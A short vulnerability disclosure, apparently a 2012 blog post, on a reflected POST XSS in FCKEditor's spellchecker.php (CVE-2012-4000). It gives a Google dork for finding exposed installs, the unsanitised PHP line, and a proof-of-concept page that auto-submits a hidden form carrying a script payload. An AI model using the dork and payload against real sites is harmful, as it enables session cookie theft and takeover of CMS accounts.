Leggi il paragrafo dell’articolo tecnico sulla tecnica CSRF utilizzata per prendere il controllo di un router altrui.

FCKEditor reflected XSS vulnerability

2012-06-22T09:58:30+00:00

I recently found a reflected POST XSS on a popular web WYSIWYG editor called FCKEditor. Despite is almost end-of-life and replaced with CKEditor since 2009, FCKEditor is still popular as stand-alone application as embedded in different Wordpress/Joomla/Drupal extensions.

Today the 2012-06-22, Google counts more than 1,5 billion of results. A plausbile Google dork filtering out PHP sources could be

inurl:fck_spellerpages/spellerpages/server-scripts/ -“The following variables”

vulnerability

The reflected XSS is injected through textinputs POST parameter array, not sanized and printed in line 27:

echo "textinputs[$key] = decodeURIComponent(\"" . $val . "\");\n";

As usual, attackers can exploit the reflected XSS to execute arbitrary HTML and script code in a user’s browser session that visit the malicious page, which can be exploited to e.g. steal the cookie of the legitimate user to bypass the CMS authorization. The PoC is CRSF-like due to POST HTTP method.

<html>
<body>
<iframe style="width: 1px; height: 1px; visibility: hidden" name="hidden"></iframe>
  <form method="post" name="sender"
   action="http://vuln.com//fckeditor/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php" target="hidden">
   <input type="hidden" name="textinputs[]" value='");alert("THIS SITE IS XSS VULNERABLE!");</script><!--' />
  </form>
</body>
<script>document.sender.submit(); </script>
</html>

CVE

The Common Vulnerabilities and Exposures project (cve.mitre.org) has assigned the name CVE-2012-4000 to the vulnerability